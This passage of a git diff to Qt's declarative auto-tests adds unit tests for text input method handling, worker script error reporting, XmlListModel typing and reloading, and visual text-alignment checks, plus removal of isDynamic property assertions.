+{
+    QString preeditText = "super";
+
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    MyInputContext ic;
+    view.setInputContext(&ic);
+    QDeclarativeTextInput input;
+    input.setPos(0, 0);
+    input.setFocus(true);
+    scene.addItem(&input);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+    QRect currentRect;
+    QRect previousRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+
+    // Verify that the micro focus rect is positioned the same for position 0 as
+    // it would be if there was no preedit text.
+    ic.updateReceived = false;
+    ic.sendPreeditText(preeditText, 0);
+    currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+    QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+    QCOMPARE(ic.updateReceived, true);
+#endif
+
+    // Verify that the micro focus rect moves to the left as the cursor position
+    // is incremented.
+    for (int i = 1; i <= 5; ++i) {
+        ic.updateReceived = false;
+        ic.sendPreeditText(preeditText, i);
+        currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+        QVERIFY(previousRect.left() < currentRect.left());
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+        QCOMPARE(ic.updateReceived, true);
+#endif
+        previousRect = currentRect;
+    }
+
+    // Verify that if there is no preedit cursor then the micro focus rect is the
+    // same as it would be if it were positioned at the end of the preedit text.
+    ic.sendPreeditText(preeditText, 0);
+    ic.updateReceived = false;
+    ic.sendEvent(QInputMethodEvent(preeditText, QList<QInputMethodEvent::Attribute>()));
+    currentRect = input.inputMethodQuery(Qt::ImMicroFocus).toRect();
+    QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+    QCOMPARE(ic.updateReceived, true);
+#endif
+}
+
+void tst_qdeclarativetextinput::inputContextMouseHandler()
+{
+    QString text = "supercalifragisiticexpialidocious!";
+
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    MyInputContext ic;
+    view.setInputContext(&ic);
+    QDeclarativeTextInput input;
+    input.setWidth(200);
+    input.setText(text.mid(0, 12));
+    input.setCursorPosition(12);
+    input.setPos(0, 0);
+    input.setFocus(true);
+    scene.addItem(&input);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+    QFontMetricsF fm(input.font());
+    const qreal y = fm.height() / 2;
+
+    QPoint position2 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 2)), y)));
+    QPoint position8 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 8)), y)));
+    QPoint position20 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 20)), y)));
+    QPoint position27 = view.mapFromScene(input.mapToScene(QPointF(fm.width(text.mid(0, 27)), y)));
+    QPoint globalPosition2 = view.viewport()->mapToGlobal(position2);
+    QPoint globalposition8 = view.viewport()->mapToGlobal(position8);
+    QPoint globalposition20 = view.viewport()->mapToGlobal(position20);
+    QPoint globalposition27 = view.viewport()->mapToGlobal(position27);
+
+    ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+
+    QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+    QCOMPARE(ic.eventPosition, position2);
+    QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor < 0);
+    ic.eventType = QEvent::None;
+
+    QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+    QCOMPARE(ic.eventPosition, position2);
+    QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor < 0);
+    ic.eventType = QEvent::None;
+
+    {   QMouseEvent mv(QEvent::MouseMove, position8, globalposition8, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::None);
+
+    {   QMouseEvent mv(QEvent::MouseMove, position27, globalposition27, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::MouseMove);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);    // 15 is expected but some platforms may be off by one.
+    ic.eventType = QEvent::None;
+
+    QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position27);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+    ic.eventType = QEvent::None;
+
+    // And in the other direction.
+    QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::ControlModifier, position27);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+    ic.eventType = QEvent::None;
+
+    QTest::mousePress(view.viewport(), Qt::RightButton, Qt::ControlModifier, position27);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::RightButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+    ic.eventType = QEvent::None;
+
+    {   QMouseEvent mv(QEvent::MouseMove, position20, globalposition20, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::MouseMove);
+    QCOMPARE(ic.eventPosition, position20);
+    QCOMPARE(ic.eventGlobalPosition, globalposition20);
+    QCOMPARE(ic.eventButton, Qt::RightButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor >= 7 && ic.cursor <= 9);
+    ic.eventType = QEvent::None;
+
+    {   QMouseEvent mv(QEvent::MouseMove, position2, globalPosition2, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::None);
+
+    QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+    QCOMPARE(ic.eventPosition, position2);
+    QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+    QCOMPARE(ic.eventButton, Qt::RightButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor < 0);
+    ic.eventType = QEvent::None;
+}
+
 QTEST_MAIN(tst_qdeclarativetextinput)
 
 #include "tst_qdeclarativetextinput.moc"
diff --git a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
index 46c2a34..8385659 100644
--- a/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
+++ b/tests/auto/declarative/qdeclarativeview/tst_qdeclarativeview.cpp
@@ -60,6 +60,7 @@ public:
     tst_QDeclarativeView();
 
 private slots:
+    void scene();
     void resizemodedeclarativeitem();
     void resizemodegraphicswidget();
     void errors();
@@ -74,6 +75,26 @@ tst_QDeclarativeView::tst_QDeclarativeView()
 {
 }
 
+void tst_QDeclarativeView::scene()
+{
+    // QTBUG-14771
+    QGraphicsScene scene;
+    scene.setItemIndexMethod(QGraphicsScene::NoIndex);
+    scene.setStickyFocus(true);
+
+    QDeclarativeView *view = new QDeclarativeView();
+    QVERIFY(view);
+    QVERIFY(view->scene());
+    view->setScene(&scene);
+    QCOMPARE(view->scene(), &scene);
+
+    view->setSource(QUrl::fromLocalFile(SRCDIR "/data/resizemodedeclarativeitem.qml"));
+    QDeclarativeItem* declarativeItem = qobject_cast<QDeclarativeItem*>(view->rootObject());
+    QVERIFY(declarativeItem);
+    QVERIFY(scene.items().count() > 0);
+    QCOMPARE(scene.items().at(0), declarativeItem);
+}
+
 void tst_QDeclarativeView::resizemodedeclarativeitem()
 {
     QWidget window;
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js
new file mode 100644
index 0000000..f589b0e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onCall.js
@@ -0,0 +1,6 @@
+WorkerScript.onMessage = function(msg) {
+    var a = 123
+    var b = 345
+    var f = getData()
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js
new file mode 100644
index 0000000..1d6eab2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/script_error_onLoad.js
@@ -0,0 +1,5 @@
+WorkerScript.onMessage = function(msg) {
+    var a = 123
+    aoij awef aljfaow eij
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml
new file mode 100644
index 0000000..90c4617
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onCall.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+BaseWorker {
+    source: "script_error_onCall.js"
+}
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml
new file mode 100644
index 0000000..0b9d21d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeworkerscript/data/worker_error_onLoad.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+BaseWorker {
+    source: "script_error_onLoad.js"
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp b/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
index aaedd82..4b922fb 100644
--- a/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
+++ b/tests/auto/declarative/qdeclarativeworkerscript/tst_qdeclarativeworkerscript.cpp
@@ -41,6 +41,8 @@
 #include <qtest.h>
 #include <QtCore/qdebug.h>
 #include <QtCore/qtimer.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfileinfo.h>
 #include <QtScript/qscriptengine.h>
 
 #include <QtDeclarative/qdeclarativecomponent.h>
@@ -58,6 +60,13 @@ Q_DECLARE_METATYPE(QScriptValue)
 #define SRCDIR "."
 #endif
 
+inline QUrl TEST_FILE(const QString &filename)
+{
+    QFileInfo fileInfo(__FILE__);
+    return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath(filename));
+}
+
+
 class tst_QDeclarativeWorkerScript : public QObject
 {
     Q_OBJECT
@@ -70,6 +79,8 @@ private slots:
     void messaging_sendQObjectList();
     void messaging_sendJsObject();
     void script_with_pragma();
+    void scriptError_onLoad();
+    void scriptError_onCall();
 
 private:
     void waitForEchoMessage(QDeclarativeWorkerScript *worker) {
@@ -215,6 +226,47 @@ void tst_QDeclarativeWorkerScript::script_with_pragma()
     delete worker;
 }
 
+static QString qdeclarativeworkerscript_lastWarning;
+static void qdeclarativeworkerscript_warningsHandler(QtMsgType type, const char *msg)
+{
+    if (type == QtWarningMsg)
+         qdeclarativeworkerscript_lastWarning = QString::fromUtf8(msg);
+}
+
+void tst_QDeclarativeWorkerScript::scriptError_onLoad()
+{
+    QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_error_onLoad.qml");
+
+    QtMsgHandler previousMsgHandler = qInstallMsgHandler(qdeclarativeworkerscript_warningsHandler);
+    QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+    QVERIFY(worker != 0);
+
+    QTRY_COMPARE(qdeclarativeworkerscript_lastWarning,
+            TEST_FILE("data/script_error_onLoad.js").toString() + QLatin1String(":3: SyntaxError: Parse error"));
+
+    qInstallMsgHandler(previousMsgHandler);
+    qApp->processEvents();
+    delete worker;
+}
+
+void tst_QDeclarativeWorkerScript::scriptError_onCall()
+{
+    QDeclarativeComponent component(&m_engine, SRCDIR "/data/worker_error_onCall.qml");
+    QDeclarativeWorkerScript *worker = qobject_cast<QDeclarativeWorkerScript*>(component.create());
+    QVERIFY(worker != 0);
+
+    QtMsgHandler previousMsgHandler = qInstallMsgHandler(qdeclarativeworkerscript_warningsHandler);
+    QVariant value;
+    QVERIFY(QMetaObject::invokeMethod(worker, "testSend", Q_ARG(QVariant, value)));
+
+    QTRY_COMPARE(qdeclarativeworkerscript_lastWarning,
+            TEST_FILE("data/script_error_onCall.js").toString() + QLatin1String(":4: ReferenceError: Can't find variable: getData"));
+
+    qInstallMsgHandler(previousMsgHandler);
+    qApp->processEvents();
+    delete worker;
+}
+
 
 QTEST_MAIN(tst_QDeclarativeWorkerScript)
 
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml
deleted file mode 100644
index e56aafa..0000000
--- a/tests/auto/declarative/qdeclarativexmllistmodel/data/model2.qml
+++ /dev/null
@@ -1,11 +0,0 @@
-import QtQuick 1.0
-
-XmlListModel {
-    source: "model.xml"
-    query: "/Pets/Pet"
-    XmlRole { name: "name"; query: "name/string()" }
-    XmlRole { name: "type"; query: "type/string()" }
-    XmlRole { name: "age"; query: "age/number()" }
-    XmlRole { name: "size"; query: "size/string()" }
-    XmlRole { name: "tricks"; query: "tricks/string()" }
-}
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml
new file mode 100644
index 0000000..4dbcc02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+XmlListModel {
+    query: "/data"
+    XmlRole { name: "stringValue"; query: "a-string/string()" }
+    XmlRole { name: "numberValue"; query: "a-number/number()" }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
index 41807bf..af54008 100644
--- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
+++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp
@@ -40,6 +40,10 @@
 ****************************************************************************/
 #include <private/qdeclarativeengine_p.h>
 
+#include <QtTest/QtTest>
+#include <QtGlobal>
+#include <math.h>
+
 #include <qtest.h>
 #include <QtTest/qsignalspy.h>
 #include <QtDeclarative/qdeclarativenetworkaccessmanagerfactory.h>
@@ -80,7 +84,8 @@ private slots:
     }
 
     void buildModel();
-    void missingFields();
+    void testTypes();
+    void testTypes_data();
     void cdata();
     void attributes();
     void roles();
@@ -202,27 +207,70 @@ void tst_qdeclarativexmllistmodel::buildModel()
     delete model;
 }
 
-void tst_qdeclarativexmllistmodel::missingFields()
+void tst_qdeclarativexmllistmodel::testTypes()
 {
-    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model2.qml"));
+    QFETCH(QString, xml);
+    QFETCH(QString, roleName);
+    QFETCH(QVariant, expectedValue);
+
+    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/testtypes.qml"));
     QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
     QVERIFY(model != 0);
-    QTRY_COMPARE(model->count(), 9);
+    model->setXml(xml.toUtf8());
+    model->reload();
+    QTRY_COMPARE(model->count(), 1);
 
-    QList<int> roles;
-    roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3 << Qt::UserRole + 4;
-    QHash<int, QVariant> data = model->data(5, roles);
-    QVERIFY(data.count() == 5);
-    QCOMPARE(data.value(Qt::UserRole+3).toString(), QLatin1String(""));
-    QCOMPARE(data.value(Qt::UserRole+4).toString(), QLatin1String(""));
+    int role = -1;
+    foreach (int i, model->roles()) {
+        if (model->toString(i) == roleName) {
+            role = i;
+            break;
+        }
+    }
+    QVERIFY(role >= 0);
 
-    data = model->data(7, roles);
-    QVERIFY(data.count() == 5);
-    QCOMPARE(data.value(Qt::UserRole+2).toString(), QLatin1String(""));
+    if (expectedValue.toString() == "nan")
+        QVERIFY(qIsNaN(model->data(0, role).toDouble()));
+    else
+        QCOMPARE(model->data(0, role), expectedValue);
 
     delete model;
 }
 
+void tst_qdeclarativexmllistmodel::testTypes_data()
+{
+    QTest::addColumn<QString>("xml");
+    QTest::addColumn<QString>("roleName");
+    QTest::addColumn<QVariant>("expectedValue");
+
+    QTest::newRow("missing string field") << "<data></data>"
+            << "stringValue" << QVariant("");
+    QTest::newRow("empty string") << "<data><a-string></a-string></data>"
+            << "stringValue" << QVariant("");
+    QTest::newRow("1-char string") << "<data><a-string>5</a-string></data>"
+            << "stringValue" << QVariant("5");
+    QTest::newRow("string ok") << "<data><a-string>abc def g</a-string></data>"
+            << "stringValue" << QVariant("abc def g");
+
+    QTest::newRow("missing number field") << "<data></data>"
+            << "numberValue" << QVariant("");
+    double nan = qQNaN();
+    QTest::newRow("empty number field") << "<data><a-number></a-number></data>"
+            << "numberValue" << QVariant(nan);
+    QTest::newRow("number field with string") << "<data><a-number>a string</a-number></data>"
+            << "numberValue" << QVariant(nan);
+    QTest::newRow("-1") << "<data><a-number>-1</a-number></data>"
+            << "numberValue" << QVariant("-1");
+    QTest::newRow("-1.5") << "<data><a-number>-1.5</a-number></data>"
+            << "numberValue" << QVariant("-1.5");
+    QTest::newRow("0") << "<data><a-number>0</a-number></data>"
+            << "numberValue" << QVariant("0");
+    QTest::newRow("+1") << "<data><a-number>1</a-number></data>"
+            << "numberValue" << QVariant("1");
+    QTest::newRow("+1.5") << "<data><a-number>1.5</a-number></data>"
+            << "numberValue" << QVariant("1.5");
+}
+
 void tst_qdeclarativexmllistmodel::cdata()
 {
     QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml"));
@@ -521,6 +569,11 @@ void tst_qdeclarativexmllistmodel::reload()
     QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int)));
     QSignalSpy spyCount(model, SIGNAL(countChanged())); 
 
+    //reload multiple times to test the xml query aborting
+    model->reload();
+    model->reload();
+    QCoreApplication::processEvents();
+    model->reload();
     model->reload();
     QTRY_COMPARE(spyCount.count(), 1);
     QTRY_COMPARE(spyInsert.count(), 1);
@@ -791,9 +844,27 @@ void tst_qdeclarativexmllistmodel::threading()
             data3 += "name=C" + QString::number(i) + ",age=3" + QString::number(i) + ",sport=Curling;";
         }
 
+        //Set the xml data multiple times with randomized order and mixed with multiple event loops
+        //to test the xml query reloading/aborting, the result should be stable.
         m1->setXml(makeItemXmlAndData(data1));
         m2->setXml(makeItemXmlAndData(data2));
         m3->setXml(makeItemXmlAndData(data3));
+        QCoreApplication::processEvents();
+        m2->setXml(makeItemXmlAndData(data2));
+        m1->setXml(makeItemXmlAndData(data1));
+        m2->setXml(makeItemXmlAndData(data2));
+        QCoreApplication::processEvents();
+        m3->setXml(makeItemXmlAndData(data3));
+        QCoreApplication::processEvents();
+        m2->setXml(makeItemXmlAndData(data2));
+        m1->setXml(makeItemXmlAndData(data1));
+        m2->setXml(makeItemXmlAndData(data2));
+        m3->setXml(makeItemXmlAndData(data3));
+        QCoreApplication::processEvents();
+        m2->setXml(makeItemXmlAndData(data2));
+        m3->setXml(makeItemXmlAndData(data3));
+        m3->setXml(makeItemXmlAndData(data3));
+        QCoreApplication::processEvents();
 
         QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount);
 
diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
index 704fea0..06baed8 100644
--- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
+++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp
@@ -546,7 +546,6 @@ void tst_QMetaObjectBuilder::property()
     QVERIFY(!nullProp.isUser());
     QVERIFY(!nullProp.hasStdCppSet());
     QVERIFY(!nullProp.isEnumOrFlag());
-    QVERIFY(!nullProp.isDynamic());
     QCOMPARE(nullProp.index(), 0);
 
     // Add a property and check its attributes.
@@ -564,7 +563,6 @@ void tst_QMetaObjectBuilder::property()
     QVERIFY(!prop1.isUser());
     QVERIFY(!prop1.hasStdCppSet());
     QVERIFY(!prop1.isEnumOrFlag());
-    QVERIFY(!prop1.isDynamic());
     QCOMPARE(prop1.index(), 0);
     QCOMPARE(builder.propertyCount(), 1);
 
@@ -583,7 +581,6 @@ void tst_QMetaObjectBuilder::property()
     QVERIFY(!prop2.isUser());
     QVERIFY(!prop2.hasStdCppSet());
     QVERIFY(!prop2.isEnumOrFlag());
-    QVERIFY(!prop2.isDynamic());
     QCOMPARE(prop2.index(), 1);
     QCOMPARE(builder.propertyCount(), 2);
 
@@ -605,7 +602,6 @@ void tst_QMetaObjectBuilder::property()
     prop1.setUser(true);
     prop1.setStdCppSet(true);
     prop1.setEnumOrFlag(true);
-    prop1.setDynamic(true);
 
     // Check that prop1 is changed, but prop2 is not.
     QCOMPARE(prop1.name(), QByteArray("foo"));
@@ -620,7 +616,6 @@ void tst_QMetaObjectBuilder::property()
     QVERIFY(prop1.isUser());
     QVERIFY(prop1.hasStdCppSet());
     QVERIFY(prop1.isEnumOrFlag());
-    QVERIFY(prop1.isDynamic());
     QVERIFY(prop2.isReadable());
     QVERIFY(prop2.isWritable());
     QCOMPARE(prop2.name(), QByteArray("bar"));
@@ -633,7 +628,6 @@ void tst_QMetaObjectBuilder::property()
     QVERIFY(!prop2.isUser());
     QVERIFY(!prop2.hasStdCppSet());
     QVERIFY(!prop2.isEnumOrFlag());
-    QVERIFY(!prop2.isDynamic());
 
     // Remove prop1 and check that prop2 becomes index 0.
     builder.removeProperty(0);
@@ -649,7 +643,6 @@ void tst_QMetaObjectBuilder::property()
     QVERIFY(!prop2.isUser());
     QVERIFY(!prop2.hasStdCppSet());
     QVERIFY(!prop2.isEnumOrFlag());
-    QVERIFY(!prop2.isDynamic());
     QCOMPARE(prop2.index(), 0);
 
     // Perform index-based lookup again.
@@ -673,7 +666,6 @@ void tst_QMetaObjectBuilder::property()
             prop2.setUser(false); \
             prop2.setStdCppSet(false); \
             prop2.setEnumOrFlag(false); \
-            prop2.setDynamic(false); \
         } while (0)
 #define COUNT_FLAGS() \
         ((prop2.isReadable() ? 1 : 0) + \
@@ -685,8 +677,7 @@ void tst_QMetaObjectBuilder::property()
          (prop2.isEditable() ? 1 : 0) + \
          (prop2.isUser() ? 1 : 0) + \
          (prop2.hasStdCppSet() ? 1 : 0) + \
-         (prop2.isEnumOrFlag() ? 1 : 0) + \
-         (prop2.isDynamic() ? 1 : 0)) 
+         (prop2.isEnumOrFlag() ? 1 : 0))
 #define CHECK_FLAG(setFunc,isFunc) \
         do { \
             CLEAR_FLAGS(); \
@@ -705,7 +696,6 @@ void tst_QMetaObjectBuilder::property()
     CHECK_FLAG(setUser, isUser);
     CHECK_FLAG(setStdCppSet, hasStdCppSet);
     CHECK_FLAG(setEnumOrFlag, isEnumOrFlag);
-    CHECK_FLAG(setDynamic, isDynamic);
 
     // Check that nothing else changed.
     QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Properties));
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png
new file mode 100644
index 0000000..74c6934
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml
new file mode 100644
index 0000000..e4dbeb1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "justify.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml
new file mode 100644
index 0000000..c3a7aaa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+    width: 450
+    height: 250
+
+    TestText {
+        anchors.fill: parent
+        anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 }
+        wrapMode: Text.Wrap
+        horizontalAlignment: Text.AlignJustify
+
+        text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus."
+
+        Rectangle {
+            anchors.fill:  parent
+            color: "transparent"
+            border.color:  "red"
+        }
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
new file mode 100644
index 0000000..c24c7c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
new file mode 100644
index 0000000..affd3a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "newLines.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
new file mode 100644
index 0000000..0ba68e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
new file mode 100644
index 0000000..410b47d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "newLines_wrap.0.png"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
new file mode 100644
index 0000000..3f1144b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
new file mode 100644
index 0000000..94cf1d2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
@@ -0,0 +1,11 @@
